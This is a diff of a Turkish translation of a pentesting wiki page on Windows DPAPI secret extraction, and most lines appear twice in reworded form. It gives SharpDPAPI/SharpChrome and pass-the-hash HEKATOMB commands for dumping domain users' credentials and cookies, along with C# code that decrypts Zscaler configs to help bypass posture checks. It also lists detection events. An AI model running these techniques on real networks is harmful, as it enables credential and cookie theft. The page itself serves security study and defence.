In **SharpDPAPI and SharpChrome** you can indicate the **`/server:HOST`** option to access a remote machine's data. Elbette o makineye erişebilmeniz gerekir ve aşağıdaki örnekte **etki alanı yedekleme şifreleme anahtarının bilindiği** varsayılmaktadır:
 | 
			
		||||
In **SharpDPAPI and SharpChrome** you can indicate the **`/server:HOST`** option to access a remote machine's data. Elbette o makineye erişebilmeniz gerekir ve aşağıdaki örnekte **domain backup encryption key is known** kabul edilmiştir:
 | 
			
		||||
```bash
 | 
			
		||||
SharpDPAPI.exe triage /server:HOST /pvk:BASE64
 | 
			
		||||
SharpChrome cookies /server:HOST /pvk:BASE64
 | 
			
		||||
@ -268,52 +266,52 @@ SharpChrome cookies /server:HOST /pvk:BASE64
 | 
			
		||||
 | 
			
		||||
### HEKATOMB
 | 
			
		||||
 | 
			
		||||
[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) LDAP dizininden tüm kullanıcıları ve bilgisayarları çıkarmayı ve RPC üzerinden domain controller backup key'i çıkarmayı otomatikleştiren bir araçtır. Script daha sonra tüm bilgisayarların IP adreslerini çözer ve tüm bilgisayarlarda smbclient çalıştırarak tüm kullanıcıların DPAPI blob'larını toplar ve domain backup key ile her şeyi deşifre eder.
 | 
			
		||||
[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) LDAP dizininden tüm kullanıcıların ve bilgisayarların çıkarılmasını ve RPC üzerinden domain controller yedek anahtarının çıkarılmasını otomatikleştiren bir araçtır. Script daha sonra tüm bilgisayarların IP adreslerini çözer ve tüm bilgisayarlarda smbclient çalıştırarak tüm kullanıcıların DPAPI blob'larını alır ve domain yedek anahtarı ile her şeyi çözer.
 | 
			
		||||
 | 
			
		||||
`python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp`
 | 
			
		||||
 | 
			
		||||
LDAP'ten çıkarılan bilgisayar listesi ile bilmeseniz bile her alt ağı bulabilirsiniz!
 | 
			
		||||
LDAP'tan çıkarılan bilgisayar listesiyle, bilmediğiniz alt ağların her birini bulabilirsiniz!
 | 
			
		||||
 | 
			
		||||
### DonPAPI 2.x (2024-05)
 | 
			
		||||
 | 
			
		||||
[**DonPAPI**](https://github.com/login-securite/DonPAPI) DPAPI ile korunan sırları otomatik olarak dökebilir. 2.x sürümü şunları getirdi:
 | 
			
		||||
[**DonPAPI**](https://github.com/login-securite/DonPAPI) DPAPI ile korunmuş gizli verileri otomatik olarak dökebilir. 2.x sürümü şunları getirdi:
 | 
			
		||||
 | 
			
		||||
* Yüzlerce hosttan paralel blob toplama
 | 
			
		||||
* Yüzlerce host'tan blob'ların paralel toplanması
 | 
			
		||||
* **context 3** masterkey'lerin ayrıştırılması ve otomatik Hashcat kırma entegrasyonu
 | 
			
		||||
* Chrome "App-Bound" şifreli çerezleri için destek (bir sonraki bölüme bakın)
 | 
			
		||||
* Yeniden uç noktalara anket çekip yeni oluşturulan blob'ları farklayan yeni **`--snapshot`** modu
 | 
			
		||||
* Chrome "App-Bound" şifrelenmiş çerezleri için destek (bir sonraki bölüme bakınız)
 | 
			
		||||
* Yeni bir **`--snapshot`** modu: uç noktaları tekrar tekrar sorgulayıp yeni oluşturulan blob'ları diff'ler
 | 
			
		||||
 | 
			
		||||
### DPAPISnoop
 | 
			
		||||
 | 
			
		||||
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) masterkey/credential/vault dosyalarını ayrıştıran bir C# parser'ıdır; Hashcat/JtR formatlarını çıktılayabilir ve isteğe bağlı olarak kırmayı otomatik başlatabilir. Windows 11 24H1'e kadar hem machine hem user masterkey formatlarını tam olarak destekler.
 | 
			
		||||
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) masterkey/credential/vault dosyalarını ayrıştıran bir C# parser'dır; Hashcat/JtR formatları üretebilir ve isteğe bağlı olarak kırma işlemini otomatik başlatabilir. Windows 11 24H1'e kadar machine ve user masterkey formatlarını tam olarak destekler.
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
## Yaygın tespitler
 | 
			
		||||
 | 
			
		||||
- `C:\Users\*\AppData\Roaming\Microsoft\Protect\*`, `C:\Users\*\AppData\Roaming\Microsoft\Credentials\*` ve diğer DPAPI ile ilgili dizinlerde dosyalara erişim.
 | 
			
		||||
- Özellikle **C$** veya **ADMIN$** gibi bir network share üzerinden.
 | 
			
		||||
- LSASS belleğine erişmek veya masterkey'leri dökmek için **Mimikatz**, **SharpDPAPI** veya benzeri araçların kullanımı.
 | 
			
		||||
- Event **4662**: *An operation was performed on an object* – **`BCKUPKEY`** objesine erişim ile korelasyon gösterebilir.
 | 
			
		||||
- Bir sürecin *SeTrustedCredManAccessPrivilege* (Credential Manager) talep ettiği durumlarda Event **4673/4674**
 | 
			
		||||
- `C:\Users\*\AppData\Roaming\Microsoft\Protect\*`, `C:\Users\*\AppData\Roaming\Microsoft\Credentials\*` ve diğer DPAPI ile ilgili dizinlerdeki dosyalara erişim.
 | 
			
		||||
- Özellikle **C$** veya **ADMIN$** gibi bir ağ paylaşımından erişim.
 | 
			
		||||
- **Mimikatz**, **SharpDPAPI** veya benzeri araçların LSASS belleğine erişim veya masterkey'leri dökme amacıyla kullanılması.
 | 
			
		||||
- Event **4662**: *An operation was performed on an object* – **`BCKUPKEY`** nesnesine erişim ile korelasyon gösterilebilir.
 | 
			
		||||
- Event **4673/4674**: bir süreç *SeTrustedCredManAccessPrivilege* (Credential Manager) talep ettiğinde
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
### 2023-2025 güvenlik açıkları & ekosistem değişiklikleri
 | 
			
		||||
 | 
			
		||||
* **CVE-2023-36004 – Windows DPAPI Secure Channel Spoofing** (Kasım 2023). Ağ erişimi olan bir saldırgan, bir domain üyesini kötü amaçlı bir DPAPI backup key alması için kandırarak kullanıcı masterkey'lerinin deşifre edilmesine olanak sağlayabilirdi. Kasım 2023 toplu güncelleştirmesinde yamalandı – yöneticiler DC'lerin ve iş istasyonlarının tam olarak güncel olduğundan emin olmalıdır.
 | 
			
		||||
* **Chrome 127 “App-Bound” cookie encryption** (Temmuz 2024) eski DPAPI-only korumasının yerine, kullanıcının **Credential Manager** altında depolanan ek bir anahtar koydu. Çerezlerin çevrimdışı deşifre edilmesi artık hem DPAPI masterkey hem de **GCM-wrapped app-bound key** gerektiriyor. SharpChrome v2.3 ve DonPAPI 2.x, kullanıcı bağlamında çalıştırıldığında ekstra anahtarı kurtarabilir.
 | 
			
		||||
* **CVE-2023-36004 – Windows DPAPI Secure Channel Spoofing** (Kasım 2023). Ağ erişimi olan bir saldırgan, bir domain üyesini kötü amaçlı bir DPAPI yedek anahtarı almaya kandırarak kullanıcı masterkey'lerinin şifresini çözebiliyordu. Kasım 2023 toplu güncellemesinde yamalandı — yöneticiler DC'lerin ve iş istasyonlarının tam olarak güncellenmiş olduğundan emin olmalıdır.
 | 
			
		||||
* **Chrome 127 “App-Bound” cookie encryption** (Temmuz 2024) eskiden sadece DPAPI ile sağlanan korumayı, kullanıcının **Credential Manager** altında saklanan ek bir anahtarla güçlendirdi. Çerezlerin çevrimdışı çözülmesi artık hem DPAPI masterkey'ini hem de **GCM-wrapped app-bound key**'i gerektiriyor. SharpChrome v2.3 ve DonPAPI 2.x, kullanıcı bağlamında çalıştırıldığında ekstra anahtarı kurtarabiliyorlar.
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
### Vaka İncelemesi: Zscaler Client Connector – SID'den Türetilen Özel Entropi
 | 
			
		||||
### Vaka İncelemesi: Zscaler Client Connector – SID'den Türeyen Özel Entropy
 | 
			
		||||
 | 
			
		||||
Zscaler Client Connector, `C:\ProgramData\Zscaler` altında birkaç yapılandırma dosyası saklar (örn. `config.dat`, `users.dat`, `*.ztc`, `*.mtt`, `*.mtc`, `*.mtp`). Her dosya **DPAPI (Machine scope)** ile şifrelenir ancak vendor, diskte saklanmak yerine *runtime* sırasında *hesaplanan* **özel entropi** sağlar.
 | 
			
		||||
Zscaler Client Connector `C:\ProgramData\Zscaler` altında birkaç konfigürasyon dosyası saklar (ör. `config.dat`, `users.dat`, `*.ztc`, `*.mtt`, `*.mtc`, `*.mtp`). Her dosya **DPAPI (Machine scope)** ile şifrelenir, ancak vendor diskte saklamak yerine *çalışma zamanında hesaplanan* **özel entropy** sağlar.
 | 
			
		||||
 | 
			
		||||
Entropi şu iki öğeden yeniden oluşturulur:
 | 
			
		||||
Entropy iki unsurdan yeniden oluşturulur:
 | 
			
		||||
 | 
			
		||||
1. `ZSACredentialProvider.dll` içine gömülmüş sabit kodlu bir gizli değer.
 | 
			
		||||
2. Yapılandırmanın ait olduğu Windows hesabının **SID**'i.
 | 
			
		||||
1. `ZSACredentialProvider.dll` içinde gömülü sabit bir gizli değer.
 | 
			
		||||
2. Konfigürasyonun ait olduğu Windows hesabının **SID**'i.
 | 
			
		||||
 | 
			
		||||
DLL tarafından uygulanan algoritma şu anlama gelir:
 | 
			
		||||
DLL tarafından uygulanan algoritma eşdeğeridir:
 | 
			
		||||
```csharp
 | 
			
		||||
byte[] secret = Encoding.UTF8.GetBytes(HARDCODED_SECRET);
 | 
			
		||||
byte[] sid    = Encoding.UTF8.GetBytes(CurrentUserSID);
 | 
			
		||||
@ -328,17 +326,17 @@ byte[] entropy = new byte[tmp.Length / 2];
 | 
			
		||||
for (int i = 0; i < entropy.Length; i++)
 | 
			
		||||
entropy[i] = (byte)(tmp[i] ^ tmp[i + entropy.Length]);
 | 
			
		||||
```
 | 
			
		||||
Çünkü sır, diskten okunabilecek bir DLL'e gömülü olduğundan, **SYSTEM yetkisine sahip herhangi bir yerel saldırgan herhangi bir SID için entropiyi yeniden oluşturabilir** ve blob'ları offline olarak şifre çözebilir:
 | 
			
		||||
Sır diskte okunabilen bir DLL'e gömülü olduğu için, **SYSTEM haklarına sahip herhangi bir yerel saldırgan herhangi bir SID için entropiyi yeniden oluşturabilir** ve blob'ları çevrimdışı olarak çözebilir:
 | 
			
		||||
```csharp
 | 
			
		||||
byte[] blob = File.ReadAllBytes(@"C:\ProgramData\Zscaler\<SID>++config.dat");
 | 
			
		||||
byte[] clear = ProtectedData.Unprotect(blob, RebuildEntropy(secret, sid), DataProtectionScope.LocalMachine);
 | 
			
		||||
Console.WriteLine(Encoding.UTF8.GetString(clear));
 | 
			
		||||
```
 | 
			
		||||
Şifre çözme, her bir **device posture check** ve beklenen değeri de içeren tam JSON yapılandırmasını ortaya çıkarır — istemci tarafı atlatma denemelerinde çok değerli bir bilgidir.
 | 
			
		||||
Şifre çözme, her bir **device posture check** ve beklenen değeri de içeren tam JSON yapılandırmasını ortaya çıkarır — istemci tarafı bypasses denenirken çok değerli bir bilgidir.
 | 
			
		||||
 | 
			
		||||
> TIP: diğer şifrelenmiş artefaktlar (`*.mtt`, `*.mtp`, `*.mtc`, `*.ztc`) DPAPI ile **entropy olmadan** (`16` sıfır byte) korunur. Bu nedenle SYSTEM ayrıcalıkları elde edildikten sonra doğrudan `ProtectedData.Unprotect` ile çözülebilirler.
 | 
			
		||||
> İPUCU: diğer şifrelenmiş artefaktlar (`*.mtt`, `*.mtp`, `*.mtc`, `*.ztc`) DPAPI ile **entropi olmadan** (`16` sıfır bayt) korunur. Bu nedenle SYSTEM ayrıcalıkları elde edildikten sonra `ProtectedData.Unprotect` ile doğrudan çözülebilirler.
 | 
			
		||||
 | 
			
		||||
## References
 | 
			
		||||
## Referanslar
 | 
			
		||||
 | 
			
		||||
- [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user